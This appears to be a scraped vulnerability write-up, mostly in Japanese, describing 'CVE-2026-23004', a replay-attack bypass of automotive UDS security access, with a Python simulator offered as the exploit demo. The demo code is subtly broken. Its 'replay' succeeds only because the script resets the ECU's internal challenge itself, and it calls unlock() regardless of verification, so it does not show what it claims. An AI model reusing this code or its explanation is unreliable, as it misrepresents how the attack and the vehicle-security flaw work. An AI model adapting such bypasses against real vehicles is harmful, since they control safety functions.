CVE-2026-23004 – 自動車UDS認証バイパス（リプレイ攻撃）

プログラムコード（Python CAN‑UDSシミュレータ）

# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib

class ECU:
    def __init__(self):
        self.secret = b'long_secret_key'
    def generate_challenge(self):
        self.challenge = random.randbytes(8)
        return self.challenge
    def verify_response(self, response):
        expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
        return response == expected
    def unlock(self):
        print("ECU unlocked! Critical functions accessible.")

# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response)  # first unlock

# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response)  # second unlock without new challenge - works
ecu.unlock()

CVE-2026-23004 – リプレイによる自動車UDS認証バイパス

概要

自動車用ECUは、統一診断サービス（UDS）のセキュリティアクセス（サービス0x27）を実装していますが、ワンタイムチャレンジの使用を強制していません。攻撃者は有効なチャレンジ‑レスポンスのペアをキャプチャし、それをリプレイすることで認証をバイパスできます。

脆弱性の詳細

タイプ: リプレイ攻撃
影響: 不正なECUプログラミング、セーフティオーバーライド。
根本原因: ECUは現在のチャレンジに一致するレスポンスを受け入れますが、同じチャレンジを無効化せずに再利用できます。

エクスプロイトのデモ

シミュレーションを実行します:

python uds_sim.py

ECUは同じ認証ペアで2回ロック解除されます。

人気

CVE-2026-23004-Automotive-UDS-Authentication-Bypass-via-Replay-Attack